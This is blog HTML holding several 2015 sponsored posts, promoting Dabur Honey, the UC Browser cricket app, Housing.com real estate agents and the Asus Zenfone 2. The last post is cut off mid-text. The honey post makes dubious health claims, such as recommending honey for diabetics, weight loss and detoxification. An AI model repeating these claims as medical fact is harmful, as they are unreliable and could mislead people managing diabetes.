<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYtPWvCoK7oSIYLfsiWSMLeBdTl6a97HdYS5NCQn60swqR4tfHIf9ftUYr2CA-49RQnQMlwkw4WdN3fSJ9goLI-4bm9uK95MV24gzR_S93PKx5l57PPwlKUX6I8OT2PG4EblKfgJRN8sGM/s1600/dabur-honey-500x500.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="#HoneyDietIsHere : Experience good health with a daily dose of Dabur Honey" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYtPWvCoK7oSIYLfsiWSMLeBdTl6a97HdYS5NCQn60swqR4tfHIf9ftUYr2CA-49RQnQMlwkw4WdN3fSJ9goLI-4bm9uK95MV24gzR_S93PKx5l57PPwlKUX6I8OT2PG4EblKfgJRN8sGM/s400/dabur-honey-500x500.jpg" title="#HoneyDietIsHere : Experience good health with a daily dose of Dabur Honey" width="400" /></a></div>
<div style="text-align: center;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">The
current generation is falling prey to fast life where we tend to eat all junk
food and sleep only for namesake. When a person fails to eat a balanced diet body
is prone to infections, fatigue, poor performance, prone to a variety of diseases.
<o:p></o:p></span></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">It
is thus essential to follow a proper diet chart in day to day life so as to eat
a balanced and nutritious food that contains right amount of minerals, vitamins,
carbohydrates, proteins and fatty acids. <o:p></o:p></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">Once
a person gets into bad eating habits it continues for the rest of their lives which
is very bad. Further, an individual tends to either gain weight or face other
health issues. The USDA reports have reported that rising obesity and diabetes
in America is a result of poor diet and lethargic lifestyle. The worst part is
that 4 of the top 10 leading causes of death is influenced by diet which
includes heart disease, cancer, stroke and diabetes. <o:p></o:p></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">Mother
nature seems to have thought about all this way ahead and created “Honey” for
all the human beings. Thanks to honey bees who constantly work to create the
magical and nutritious Honey which has tremendous benefits which goes beyond
our taste buds.<o:p></o:p></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">Nectar
is made up of sucrose and water, the honey bees add enzymes which splits
sucrose into glucose and fructose and aids in evaporation of water. Thus, honey
is a combination of 80% natural sugar i.e. fructose and glucose. It is this
fructose which makes honey sweeter than table sugar.<o:p></o:p></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><a href="http://www.daburhoney.com/" target="_blank">Honey</a>
also contains around 18% of water, the lesser the water content better is the
quality of honey.<o:p></o:p></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">The
remaining 2% is made up of vitamins, pollen and proteins. It is surprising to
know that honey contains some of the vitamins that are essential for human body
and it includes B6, Thiamine, Niacin, Riboflavin, Pantothenic acid and also certain
amino acids. <o:p></o:p></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">Besides
vitamins, honey contains minerals such as calcium, copper, iron, magnesium,
manganese, phosphorus, potassium, sodium and zinc. <o:p></o:p></span></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">The
natural minerals and vitamins present in honey helps in metabolism of
undesirable cholesterol and fatty acids that are embedded within tissues and
organs, thus it prevents obesity and promotes a good health to humans. <o:p></o:p></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">It
seems Honey has a healthy Glycemic Index (GI), this means the sugar content of
honey is absorbed gradually in the bloodstream and this helps in better
digestion; however avoid an excess intake of honey as food with high GI
triggers higher percentage of insulin release in the blood which may damage
pancreas in the long run. <o:p></o:p></span></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">Also
people with compromised immune system should avoid consuming honey.<o:p></o:p></span></div>
</div>
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<div style="text-align: justify;">
<b><span style="font-size: large; line-height: 115%;"><br /></span></b></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large;"><b><span style="line-height: 115%;">Some incredible benefits
of using this natural product: </span></b><span style="line-height: 115%;">Besides all the above benefits, other areas where
honey can be used are:</span></span></div>
</div>
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</div>
<ol style="text-align: left;">
<li style="text-align: justify;"><span style="font-size: large;"><span style="font-family: Symbol; line-height: 115%; text-indent: -0.25in;"><span style="font-family: 'Times New Roman'; line-height: normal;"> </span></span><span style="line-height: 115%; text-indent: -0.25in;">Honey has anti bacterial property and thus has many healing
effects which can be used to cure sore throats and also heal skin burns faster
and with minimal scarring.</span></span></li>
<li style="text-align: justify;"><span style="font-size: large; line-height: 115%; text-indent: -0.25in;">Honey helps in reducing the accumulation of fats in cardio vascular system.</span></li>
<li style="text-align: justify;"><span style="font-size: large; line-height: 115%; text-indent: -0.25in;">Another interesting fact regarding honey is that it is the best antioxidant thus our ancestors believed that honey aided in longevity.</span></li>
<li style="text-align: justify;"><span style="font-size: large; line-height: 115%; text-indent: -0.25in;"><span style="font-family: Symbol;"><span style="font-family: 'Times New Roman'; line-height: normal;"> </span></span>Honey by itself is free of fats and cholesterol. When consumed on a daily basis it helps in weight loss.</span></li>
<li style="text-align: justify;"><span style="line-height: 115%; text-indent: -0.25in;"><span style="font-size: large;">Honey can be used to treat allergies and is the preferred treatment for cough.</span></span></li>
<li style="text-align: justify;"><span style="line-height: 115%; text-indent: -0.25in;"><span style="font-size: large;">Honey does not ferment in stomach and thus it does not cause any irritancy to our digestive system. Hence, for diabetic patients honey is advisable instead of consuming artificial sweeteners.</span></span></li>
<li style="text-align: justify;"><span style="line-height: 115%; text-indent: -0.25in;"><span style="font-size: large;">Apple cider vinegar when mixed with honey gives enhances the healing power of vinegar.</span></span></li>
<li style="text-align: justify;"><span style="line-height: 115%; text-indent: -0.25in;"><span style="font-size: large;">A concentrated source of fructose and glucose, anabolic honey, is a preferred choice of sweetener for athletes.</span></span></li>
<li style="text-align: justify;"><span style="line-height: 115%; text-indent: -0.25in;"><span style="font-size: large;">Compounds found in honey makes it a great energy booster.</span></span></li>
<li style="text-align: justify;"><span style="line-height: 115%; text-indent: -0.25in;"><span style="font-size: large;">Honey helps to rejuvenate the colon flora and aids in detoxification of body if consumed daily.</span></span></li>
</ol>
<div class="MsoListParagraphCxSpMiddle" style="text-align: left; text-indent: -0.25in;">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
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<div style="text-align: justify;">
<span style="line-height: 115%;"><span style="font-size: large; text-indent: -24px;">Besides good health honey is one of the major product used by beauticians and our grandmas knew very well how to use honey as beauty packs for healthy skin and lustrous hair.</span></span></div>
<br />
<div style="text-align: justify;">
<span style="line-height: 20.7000007629395px;"><span style="font-size: large;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="line-height: 115%;"><span style="font-size: large;">People
are now getting to know the benefits of honey and at the same time
manufacturers are producing “adulterated honey”. So beware of such “adulterated
honey” which is just a combination of glucose, dextrose, molasses, corn syrup,
sugar syrup, invert sugar, flour, starch, or any other similar product, other
than the floral nectar. The only way to ensure you get the genuine product is
to stick to trusted brand.</span></span></div>
</div>
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<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><a href="http://www.daburhoney.com/" target="_blank">DaburHoney</a> is one of the trusted brands for centuries in India. Do try this genuine
product and people can be assured to get authentic honey that has been sourced
directly from Himalayas, the Nilgiris and the Sunderbans forests. <o:p></o:p></span></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
<div class="MsoNormal">
<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">The
company follows stringent quality checks and raw honey is filtered and cleaned
of all the impurities and then filled in the containers or bottles mechanically,
thus the product is not touched by hands which ensure minimal contamination.
Dabur also confirms the statutory requirements of Agmark and PFA.<o:p></o:p></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;"><br /></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large; line-height: 115%;">Dabur
Honey is another name for purity!</span></div>
</div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-75521751990206297812015-07-09T13:16:00.002+05:302015-07-09T14:34:10.853+05:30Cricket on your mind, UC Web browser is the best place to go for enjoying cricket<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">Last month when India was playing with Bangladesh and was on the
verge on winning the test match, I was stuck up in office due to some urgent
assignments. When I was done with my work, I tried to check for the scores of
Indian team however could not get any clear details. Finally my colleague advised
me to check the scores on <b><a href="http://www.ucweb.com/English/UCbrowser/cricket.html" target="_blank">UC-Cricketapp</a>.<o:p></o:p></b></span><br />
<span style="font-size: large;"><b><br /></b></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf4XllHpxNTlzS8Rw1bPo8eOh0bsmfDWokAc_R3Gt4b1EjEOkjQL0KYUDVaz7QbtlgoxNdDmoIx9p0egDV2brkQDDcgpXi4sOi0AIOJ4eFmtvaTN4xduideNWX0XtJ6CgL4015y4ZitUk-/s1600/UC-Cricket.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="UC Web browser definitely must be tried to enjoy its features" border="0" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf4XllHpxNTlzS8Rw1bPo8eOh0bsmfDWokAc_R3Gt4b1EjEOkjQL0KYUDVaz7QbtlgoxNdDmoIx9p0egDV2brkQDDcgpXi4sOi0AIOJ4eFmtvaTN4xduideNWX0XtJ6CgL4015y4ZitUk-/s400/UC-Cricket.jpg" title="UC Web browser definitely must be tried to enjoy its features" width="400" /></a></div>
<div style="text-align: center;">
<span style="font-size: large;"><b><br /></b></span></div>
</div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">I had never heard of anything known as </span><b style="font-size: x-large;"><a href="http://www.ucweb.com/" target="_blank">UC browser</a></b><span style="font-size: large;"> and it was
altogether a new thing for me.</span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin: 0in 0in 0.0001pt;">
<div style="text-align: justify;">
<span style="font-size: large;">I downloaded the UC browser in my smartphone and to my utmost
surprise I could see a blue colored icon marked as "<b>UC-Cricket</b>". This
app provided me with the real time scores and the latest news regarding cricket
service. And within a matter of few seconds I got all the information that I
needed regarding the match.<o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin: 0in 0in 0.0001pt;">
<div style="text-align: justify;">
<span style="font-size: large;">Now, I was really curious to know about this new browser and the
app which actually helped me a lot to stay updated, so I began exploring this
browser to understand it better and discovered certain exceptional features of
the UC browser.<o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">Launched in April 2004 as a J2me-only application, UC browser was
originally designed for smartphone by UCWeb, also known as UC Mobile.
Currently, the browser is available on Android, iOS, Windows Phone, Symbian, Java
ME and Blackberry devices. It was in 2010, when the first iOS app was introduced
by UC Browser in the Apple App Store. <o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">Though initially developed for smartphone, UC browser is now
available for desktop users with all its apps.</span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">Earlier this year, when the 2015 Cricket World Cup was on the verge
of commencement, UCWeb introduced their new app known <b>as UC-Cricket</b> in the UC Browser for Android devices. I found the UC-Cricket app to be best and true to its words it provided the live updates,
results, including information for upcoming matches. The app further also provides a chat option wherein cricket
fans can chat with other cricket fans. The app is currently available in India,
Pakistan and Bangladesh.<o:p></o:p></span></div>
</div>
<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/Hqz04U-UPsM" width="560"></iframe>
<br />
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">With UC-Cricket, users can get real time notification features
that runs in the background and at the same time get latest scores as well. <o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">Besides, UC-Cricket app the browser also offers <b>Hot Video app</b> wherein users can watch
and download Hot Bollywood videos and movies for free. Users can enjoy latest
Bollywood trailers, music and videos all in one place. The highlight of this
app is its speed and all the latest videos can be downloaded for free of cost.<o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">Another awesome feature is its <b>UC Cloud</b>. UC Cloud enables users to sync bookmarks, tabs and
browsing data between the smartphone devices and PC across UC accounts. Users
can also sync their data across multiple devices such as browsing data between
Android, iPhone, iPad and all those platforms on which UC browser is compatible. <o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">UC Cloud also provides plugins for Chrome and Firefox browsers.<o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">Users can download the UC browser from this link : <b><a href="http://www.ucweb.com/ucbrowser/download/">http://www.ucweb.com/ucbrowser/download/</a><o:p></o:p></b></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">UC browser can be used by users to share the Facebook, Twitter
with the WP version which offers much more sharing options. <o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">UC browser has a friendly UI. Android has the largest user base
for the browser and the Google Play store offers three versions of UC browser
namely: UC Browser mini for Android, UC Browser for Android and UC Browser HD
for Android.<o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">So if you are tired of using the Chrome and Firefox. Get the UC
browser downloaded for your devices, be it smartphone or desktop and do enjoy
the fast downloads and the awesome features offered by this browser. </span><span style="font-size: 13.5pt;"><o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<br /></div>
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<br /></div>
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<br /></div>
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<br /></div>
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Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-43094082214425438222015-07-03T18:49:00.001+05:302015-07-03T20:16:44.757+05:30Why you should use the services of a registered real estate agent.<div dir="ltr" style="text-align: left;" trbidi="on">
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<span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt;">Agents are an integral part
of realty transactions and the city of Mumbai is no different. Hence, it is
important to engage a reliable, trustworthy and confirmed agent, who you can
bank upon to get you through complex real estate transactions. Having said
this, you always have an option of online transaction. For this, you only need to
visit Housing.com, one of the most credible online real estate portals in India
to finalize your dream home and proceed with the transaction offline with
complete peace of mind. However, if you still wish to transact offline, you
must at all times hire the services of verified agents. You can get access to
several verified agents across Mumbai or any other state, city or town in India
through Housing.com. You can search for the best agents on this site from the
comfort of your home or on the move through Housing’s state of the art ‘Look
Up’ app. Here are some of the important benefits of using the services of
registered </span><span lang="EN-US"><a href="https://housing.com/in/agents/mumbai/mumbai"><b><span style="font-family: "Verdana","sans-serif"; font-size: 10.0pt; mso-bidi-font-family: "Times New Roman"; mso-fareast-font-family: "Times New Roman";">property
dealers in Mumbai</span></b></a></span><b><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt;"><o:p></o:p></span></b></div>
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<b><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTBYnissJjnziLrJMz8BFRxcR5vIVfM1U9f76-C7rLb-3PIldkyhf1HJzMkiR0vEs-B_8BCqvUBwZwFvgZn0S69BbXdVoTz7QcjtS_NUrSDAkO8tOCYMk-Y-CAGIRqWWcnP1dd0NxzmE-S/s1600/Real+Estate.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Why you should use the services of a registered real estate agent." border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTBYnissJjnziLrJMz8BFRxcR5vIVfM1U9f76-C7rLb-3PIldkyhf1HJzMkiR0vEs-B_8BCqvUBwZwFvgZn0S69BbXdVoTz7QcjtS_NUrSDAkO8tOCYMk-Y-CAGIRqWWcnP1dd0NxzmE-S/s1600/Real+Estate.png" title="Why you should use the services of a registered real estate agent." /></a></b></div>
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<u><span style="font-size: 13.3333330154419px; text-align: left;"><span style="font-family: Verdana, sans-serif;">Freedom from anxiety and stress</span></span><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt;"> </span></u></div>
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<span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%;">Buying,
selling or renting any kind of real estate asset involves good amount of
monetary transaction and therefore the unease and stress is only natural.
Nonetheless, if you opt for the services of registered <b>real estate dealers in Mumbai</b>, you will not have to go through any
of the <a href="http://www.comboupdates.com/2015/03/startanewlife-living-life-king-size-in.html" target="_blank">hardships</a> and this will be taken care of by the agent. A good agent is
someone who ensures that the services offered are not only easy and smooth but
are also amongst the best and stand out in the crowd. Though this will not be
the case with any hearsay or self-proclaimed unverified agents who are out
there just to cheat you and extract some quick money out of you. The </span><span lang="EN-US"><a href="http://www.sec.gov/news/pressrelease/2015-127.html"><span style="font-family: "Verdana","sans-serif"; font-size: 10.0pt; line-height: 115%;">unregistered
brokers</span></a></span><a href="https://draft.blogger.com/null" name="_GoBack"></a><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%;">
are the ones who will play with your psychology, compel you to make mistakes
and drain you mentally. Hence such individuals/entities must be avoided at all
cost come what may.</span></div>
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<u><span lang="EN-US" style="font-family: "Verdana","sans-serif"; font-size: 10.0pt; line-height: 115%;"><br /></span></u></div>
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<u><span lang="EN-US" style="font-family: "Verdana","sans-serif"; font-size: 10.0pt; line-height: 115%;">Seamless
transaction<o:p></o:p></span></u></div>
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<span lang="EN-US" style="font-family: "Verdana","sans-serif"; font-size: 10.0pt; line-height: 115%;">The
other most critical advantage of hiring registered <b>property brokers in Mumbai</b> is that you do not have to worry about
your transaction process. The entire deal is executed diligently and in a thoroughly
professional manner. Here are some of the steps taken by credible agents:</span></div>
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<li><span style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%; text-indent: -18pt;">Adherence to timelines</span></li>
<li><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%; text-indent: -18pt;">Complete transparency</span></li>
<li><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%; text-indent: -18pt;">Prices are pre-negotiated</span></li>
<li><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%; text-indent: -18pt;">No deviation from the
commitment – verbal or written</span></li>
<li><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%; text-indent: -18pt;">Strict procedure is put in
place with regards to the people involved in the transaction</span></li>
<li><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%; text-indent: -18pt;">No involvement of cash</span></li>
<li><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%; text-indent: -18pt;">Complete deal is carried
out in a fair and phased manner</span></li>
<li><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%; text-indent: -18pt;">Preparation of memorandum
of understanding</span></li>
<li><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%; text-indent: -18pt;">Stamp duty payment</span></li>
<li><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%; text-indent: -18pt;">Assistance in the
execution of sale deed</span></li>
<li><span lang="EN-US" style="font-family: Verdana, sans-serif; font-size: 10pt; line-height: 115%; text-indent: -18pt;">Home loan application,
etc.</span></li>
</ul>
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<span lang="EN-US" style="font-family: "Verdana","sans-serif"; font-size: 10.0pt; line-height: 115%;">In
addition to this, some of the <b>realty
dealers in Mumbai</b> also have good knowledge about local law and can really
help you get through the transaction in a seamless manner. Thus, it can be
concluded that hiring the services of registered dealers is far more worthy and
profitable than opting for the help of those with no background.<o:p></o:p></span></div>
</div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-82232676961906919312015-06-25T15:44:00.000+05:302015-06-25T15:45:23.122+05:30Asus Zenfone 2 : Why You Should Opt For Zenfone 2 As Your New Android Smartphone<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-size: large; text-align: justify;">Why I would want every Android Smartphone lover to have a Asus Zenfone 2? There are many reasons, one of them is off course, the Zenfone 2 comes with awesome specs and a massive 4GB RAM at a cheap price.</span><br />
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<span style="font-size: large;">Asus Zenfone 2 launched its two variants, ZE550ML and ZE551ML, in the Indian markets towards end of April 2015 and it was available only
through online store Filpkart. Asus Zenfone 2 marks an unique combination
of Intel processor and latest Android operating systems. <o:p></o:p></span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7_6XG2LeMqbfuvXeSaKxhckchPR3Yjk1fnbVBvf_ufay5mfZNqIat8LvbFLfghnA08IYEq98gibwB-Qop4SWI27RobAF6KWxp0iuwlm2GXrhg3AwWota9fb0Bg86Y2ZwwmlqFdDJYNDXw/s1600/Asus+Zenphone+2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Asus Zenfone 2 : Why You Should Opt For Zenfone 2 As Your New Android Smartphone" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7_6XG2LeMqbfuvXeSaKxhckchPR3Yjk1fnbVBvf_ufay5mfZNqIat8LvbFLfghnA08IYEq98gibwB-Qop4SWI27RobAF6KWxp0iuwlm2GXrhg3AwWota9fb0Bg86Y2ZwwmlqFdDJYNDXw/s400/Asus+Zenphone+2.jpg" title="Asus Zenfone 2 : Why You Should Opt For Zenfone 2 As Your New Android Smartphone" width="400" /></a></div>
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<span style="font-size: large;"><br /></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large;">4GB RAM variant is available at the price of Rs. 12,999 while the 2GB RAM variant is available for Rs. 11,999.</span></div>
</div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">In this article let us try to understand the reasons for which one should buy <a href="http://www.flipkart.com/asus/zenfone-2" target="_blank">Asus Zenfone 2</a>. Some of the common salient features of Asus Zenfone 2 ZE550ML and ZE551ML includes: </span></div>
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<span style="font-size: large;"><b>Design</b>: </span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Both the devices have an awesome, elegant
look which when combined with a graceful ergonomic design gives the phone its
luxurious sleek look. It is this marvelous unique design which makes it very comfortable to hold. <o:p></o:p></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">The device is 10.9 mm in thickness however it tapers towards its
edges which makes it only 3.9 mm towards the edges. The device has an unique ultra
narrow bezel towards its display which provides a maximized view of the screen
to the users. <o:p></o:p></span></div>
</div>
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<span style="font-size: large;"><br /></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large;"><b>Camera and Connectivity: </b> </span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Both, ZE550ML and ZE551ML, touts a 13 MP rear camera that is
accompanied with LED flash, in addition there is a 5MP front camera. In
terms of connectivity the smartphone has the provision for 4G LTE as well as 3G
HSPA. Other modes of connectivity such as WiFi, Bluetooth are also
available. </span></div>
</div>
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<span style="font-size: large;"><br /></span></div>
</div>
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<span style="font-size: large;"><b>Enormous Battery: </b></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">The device has an enormous battery of 3000mAh battery which can support for long uninterrupted hours.<o:p></o:p></span></div>
</div>
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<span style="font-size: large;"><br /></span></div>
</div>
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<div style="text-align: justify;">
<b><span style="font-size: large;">Specific specs of Asus Zenfone 2 ZE550ML: </span></b></div>
</div>
<div style="margin: 0in 0in 0.0001pt;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">It sports a
5.50 inch 720 x 1280p display which is powered by 1.8 GHz Quad core Intel Atom
Z3560 with PowerVR G6430 GPU. The display screen is accompanied with Corning
gorilla glass 3 protection. Besides it also has a 2GB RAM. In terms of storage the device has an inbuilt
memory of 16 GB which can be further expanded to 64 GB.<o:p></o:p></span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">What's more, ZE550ML is a dual SIM smartphone which comes with the
latest Android Lollipop 5.0 version. It is a light weight smartphone which
weighs only 155 grams.<o:p></o:p></span></div>
</div>
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<span style="font-size: large;"><br /></span></div>
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<o:p><span style="font-size: large;"><b>Specific specs of Asus Zenfone 2 ZE551ML: </b> </span></o:p></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">This handset
has 5.5 inch with 1920x1080 p display and it too has been accompanied with
Corning gorilla glass 3 protection.<o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">Asus Zenfone 2 ZE551ML is further available in two variants one, with 2GB and the other with 4 GB. The device is powered with 1.8 GHz Quad core
Intel Atom Z3560 / 2.3 GHz Quad core Intel Atom Z3580 processors with
PowerVRG6430 GPU. <o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">In terms of storage the ZE551ML is available in 3 variants: 16GB/32GB/64GB
and all these variants can be expanded to 64 GB. <o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">Asus Zenfone ZE551ML too has been provided with Android Lollipop 5.0
version and weighs only 170 grams.<o:p></o:p></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<b><span style="font-size: large;">Unique Asus ZenUI:</span></b></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
